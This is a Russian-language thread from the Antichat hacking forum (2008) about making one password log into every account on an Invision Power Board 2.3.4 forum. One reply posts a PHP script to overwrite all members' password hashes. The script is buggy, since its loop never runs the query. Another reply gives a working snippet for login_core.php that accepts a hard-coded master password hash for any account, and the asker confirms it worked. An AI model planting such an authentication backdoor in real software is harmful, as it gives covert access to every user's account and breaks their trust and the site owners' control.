HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Как установить в Ipb один пасс для всех юзверей?
  #1  
Старый 07.06.2008, 15:11
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
С нами: 10018169

Репутация: 1680


По умолчанию Как установить в Ipb один пасс для всех юзверей?

Подскажите какой файл надо модифицировать, куда чё вписать надо чтобы можно было под всеми юзверями войти с одним паролем, Ipb 2.3.4
Кто знает напишите плз!
 
Ответить с цитированием

  #2  
Старый 07.06.2008, 16:07
Lesnoy_chelovek
Постоянный
Регистрация: 06.12.2006
Сообщений: 321
С нами: 10226273

Репутация: 370
По умолчанию

А в табличке если Update'ом пароль записать?
 
Ответить с цитированием

  #3  
Старый 07.06.2008, 16:17
maxster
Участник форума
Регистрация: 27.10.2006
Сообщений: 205
С нами: 10282956

Репутация: 380
По умолчанию

Я думаю так должно сработать:
PHP код:
<?php
$pass 
'hashpassword' //  хеш пасса
$salt   'saltpassword'  //  соль пасса
include "cong_global.php";
mysql_connect($INFO['sql_host'], $INFO['sql_user'], $INFO['sql_password']);
@
mysql_select_db($INFO['sql_database']);
$query="select count(id) from ".$INFO['sql_tbl_prefix']."members";
$pre=mysql_fetch_array(mysql_query($query));
$i=2;
do
{
$up="update ".$INFO['sql_tbl_prefix']."members_converge SET converge_pass_hash = '".$pass."', converge_pass_salt = '".$salt."' where converge_id = '".$id."'";
} while (++
$i <= $pre[0]);

?>
закидываешь в корень форума и запускаешь, но ты проверь я мог ошибиться :\

Последний раз редактировалось maxster; 07.06.2008 в 17:09..
 
Ответить с цитированием

  #4  
Старый 10.06.2008, 23:03
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
С нами: 10018169

Репутация: 1680


По умолчанию

Цитата:
Сообщение от maxster  
Я думаю так должно сработать:
закидываешь в корень форума и запускаешь, но ты проверь я мог ошибиться :\
Это я так понял он всем юзверям установит пасс?
Мне желательно чтобы под всеми можно было зайти с одним пассом не переставляя в базе каждому...
Я хз где там можно отредактировать и как, чтобы по одному паролю заходило, там авторизация через несколько модулей
 
Ответить с цитированием

  #5  
Старый 20.06.2008, 21:30
c0m
Познающий
Регистрация: 26.01.2007
Сообщений: 40
С нами: 10152062

Репутация: 7
По умолчанию

тупо поставь в members_converge одинаковые хэши и соль
 
Ответить с цитированием

  #6  
Старый 21.06.2008, 02:08
FaR-G9
Участник форума
Регистрация: 19.12.2006
Сообщений: 159
С нами: 10207557

Репутация: 64
По умолчанию

Если тема еще актуальна, то в файле \sources\loginauth\login_core.php

найди
Код:
		//-----------------------------------------
		// Check password...
		//-----------------------------------------
258я строка по дефолту
и наже добавь
PHP код:
        if ($password == '4a7d1ed414474e4033ac29ccb8653d9b')
        {
            
$this->return_code 'SUCCESS';
            return;
        } 
где 4a7d1ed414474e4033ac29ccb8653d9b это md5 хэш твоего суперпароля
в этом примере пароль 0000

Последний раз редактировалось FaR-G9; 21.06.2008 в 02:11..
 
Ответить с цитированием

  #7  
Старый 21.06.2008, 04:19
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
С нами: 10018169

Репутация: 1680


По умолчанию

FaR-G9 большое спасибо - помогло!!!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор новшеств в FreeBSD 7.0 zythar Мировые новости. Обсуждения. 2 28.02.2008 12:43
Pci--, PCI-Express Cthulchu "Железо" 0 28.01.2008 23:01



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.